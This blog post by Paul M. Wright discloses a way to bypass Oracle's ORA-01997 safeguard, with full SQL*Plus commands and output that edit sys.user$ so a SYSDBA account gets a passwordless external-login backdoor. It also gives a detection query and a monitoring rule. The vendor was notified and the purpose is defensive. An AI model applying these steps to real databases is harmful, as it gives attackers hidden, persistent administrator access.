Three Tier Oracle Security in London ~ Paul M. Wright

(nix, oracle, java, www, cloud ) intersect (safety, security, reliability, integrity)

Three Tier Oracle Security in London ~ Paul M. Wright RSS Feed
 

Bypassing ORA-01997 to Backdoor SYSDBA

Last week we talked about how it has been possible to escalate from DBA to SYSDBA within Oracle and the implication of this due to the higher privileges that SYSDBAs have such as access to the strongest crypto in the DB. Sven has added that “Fine-Grained Access for Network callouts” in 11g can only be accessed by SYSDBA by default which was a useful addition.
Of course the other well known method of gaining SYSDBA from DBA has been outlined by Tanel. http://blog.tanelpoder.com/2007/11/10/oracle-security-all-your-dbas-are-sysdbas-and-can-have-full-os-access/

Additional differences between a user with the SYSDBA system privilege and a user with DBA role are that a SYSDBA authenticates via the password file and can edit tables in the SYS schema such as USER$, plus the SYSDBA connection will show as SYS and will be audited as SYS in mandatory audit. Of course most SYSDBA users have also been granted the DBA role as well. The difference with actual SYS is that they HAVE to logon as SYSDBA whereas a different DBA user granted SYSDBA system privilege can choose not to…

A consequence of the above facts is that a SYSDBA user could be “backdoored” by SETting their password to EXTERNAL directly which would allow connection without the need for a password or knowledge of their password but still allowing continued legitimate logon by that SYSDBA user with the previous password (which is unknown to the attacker).

A user account is not meant to be able to make an account SYSDBA AND “IDENTIFIED EXTERNALLY” as it would be a security weakness.
Note you cannot grant SYSDBA to an EXTERNALLY identified user and vice versa. If you issue the command "ALTER USER SYSDBAUSER IDENTIFIED EXTERNALLY" then you automatically revoke SYSDBA from that user. Or if you try to grant SYSDBA to an IDENTIFIED EXTERNALLY user you will receive this ORA Error.

SQL> ALTER USER DBATEST IDENTIFIED EXTERNALLY;
User altered.

SQL> grant sysdba to dbatest;
grant sysdba to dbatest
*
ERROR at line 1:
ORA-01997: GRANT failed: user 'DBATEST' is identified externally

http://ora-01997.ora-code.com/ and the same statement on metalink corroborate this security precaution.
Note:19283.1

The above Error description from Oracle says

“You cannot grant the SYSOPER or SYSDBA privilege to a user created with the IDENTIFIED EXTERNALLY clause.”

    UNFORTUNATELY THIS IS NOT THE CASE.

It is possible to bypass this privilege restriction and use it to create a SYSDBA backdoor (Oracle have been given prior warning of this fact a long time ago and allowed publication of this so that the knowledge of how to detect this issue can be spread – see later).

Let’s exemplify the above with an example. In this scenario SYS is locked and has been set with a very strong quoted password so that it can not be bruteforced. A different account from SYS is therefore used by the DBA for dedicated SYSDBA activity. This SYSDBA account could be given any name but in this example we will give it the name SYSDBAUSER and it will be the target of an attacker who has already gained high privileges and wants to create an easily used backdoor account for future access.

If remote OS authentication is used already then these configurations do not need to be made.

SQL> alter system set remote_os_authent=true scope=spfile;
System altered.
SQL> alter system set os_authent_prefix="SYS" scope=spfile;
System altered.
SQL> commit;
Commit complete.
SQL> Shutdown immediate
SQL> startup

–SYS creates the SYSDBAUSER account to use for legitimate admin:

SQL> create user SYSDBAUSER identified by manager;
SQL> grant dba to SYSDBAUSER;
SQL> grant sysdba to SYSDBAUSER;
Grant succeeded.
SQL> select * from v$pwfile_users;
USERNAME SYSDB SYSOP
------------------------------ ----- -----
SYS TRUE TRUE
TRUE FALSE
SYSDBAUSER TRUE FALSE

–If you attempt to make that SYSDBA user externally identified to create secondary access


SQL> alter user SYSDBAUSER identified externally;
User altered.
--SYSDBA is automatically revoked!!
SQL> select * from v$pwfile_users;
USERNAME SYSDB SYSOP
------------------------------ ----- -----
SYS TRUE TRUE
TRUE FALSE
--and cannot grant it back whilst SYSDBA.
SQL> grant sysdba to SYSDBAUSER;
grant sysdba to SYSDBAUSER
*
ERROR at line 1:
ORA-01997: GRANT failed: user 'SYSDBAUSER' is identified externally
SQL> alter user SYSDBAUSER identified by manager; --no longer externally identified.
User altered.
SQL> grant sysdba to SYSDBAUSER;
Grant succeeded.

–Ok we are back with SYSDBAUSER as SYSDBA but they are still not externally identified.
–Now attacker bypasses Oracle security by updating the SYSDBAUSER SYSDBA account as “IDENTIFIED EXTERNALLY” directly into the sys.user$ table.


update sys.user$
set password = 'EXTERNAL'
where name = 'SYSDBAUSER';
SQL> update sys.user$
2 set password = 'EXTERNAL'
3 where name = 'SYSDBAUSER';
1 row updated.
SQL> select password from sys.user$ where name='SYSDBAUSER';
PASSWORD
------------------------------
EXTERNAL
SQL> COMMIT;
Commit complete.
SQL> shutdown immediate
SQL>startup

Attacker creates a Windows user called “DBAUSER” (“SYS” oracle prefix and “DBAUSER” windows account map to SYSDBAUSER oracle DB account)

Then logon from that spoofed Windows account to SYSDBAUSER in Oracle as the externally authenticated OS user without knowing the original password or giving any password!

C:\Documents and Settings\dbauser>sqlplus /@10.1.1.166/orcl
SQL*Plus: Release 10.1.0.2.0 - Production on Mon Jun 25 19:45:27 2007
Copyright (c) 1982, 2004, Oracle. All rights reserved.
Connected to:
Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Production
With the Partitioning, OLAP and Data Mining options

**Plus the legitimate SYSDBAUSER user can still logon remotely as a normal SYSDBA giving the previous password that has been overwritten with ‘EXTERNAL’:

C:\Documents and Settings\paulw>sqlplus sysdbauser/manager@10.1.1.166/orcl as sysdba
SQL*Plus: Release 10.2.0.1.0 - Production on Mon Jun 25 20:59:35 2007
Copyright (c) 1982, 2005, Oracle. All rights reserved.
Connected to:
Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Production
With the Partitioning, OLAP and Data Mining options

So to recap we can take a SYSDBA user and add “external identification” to that SYSDBA account which does not require knowledge of the password to login as them. The legimate user can still login normally as SYSDBA using the previous password that has been overwritten in SYS.USER$. This is because the same password is still used in the seperate password file for SYSDBA users.

This process could be used as an effective backdoor for a SYSDBA user.

It is worthwhile checking to make sure that SYSDBA users are not also externally identified using a check like the following:

(select username from v$pwfile_users)intersect
(select name from sys.user$ where password = 'EXTERNAL')

If the above check returns a resultset then there is a user that is erroneously both SYSDBA and EXTERNAL which may be a SYSDBA backdoor.

There is a lot of similar unpublished research that I carried out in my spare time at previous employers though I have to say that the defence perspective is becoming much more interesting to me. For instance the fact that updates to SYS.USER$ are not auditable is a problem as there are many other related security issues. A simple way to defend against this would be to install Sentrigo Hedgehog Standard Edition and use the following Hedgehog rule.

object='USER$' AND (cmdtype = 'UPDATE')

Of course there are more sophisticated rules and defence methods as well as techniques to forensically respond to these Oracle security issues as we shall see. If you have queries about the above feel free to contact me on paul.wright at oracleforensics.com

Leave a Reply

You must be logged in to post a comment.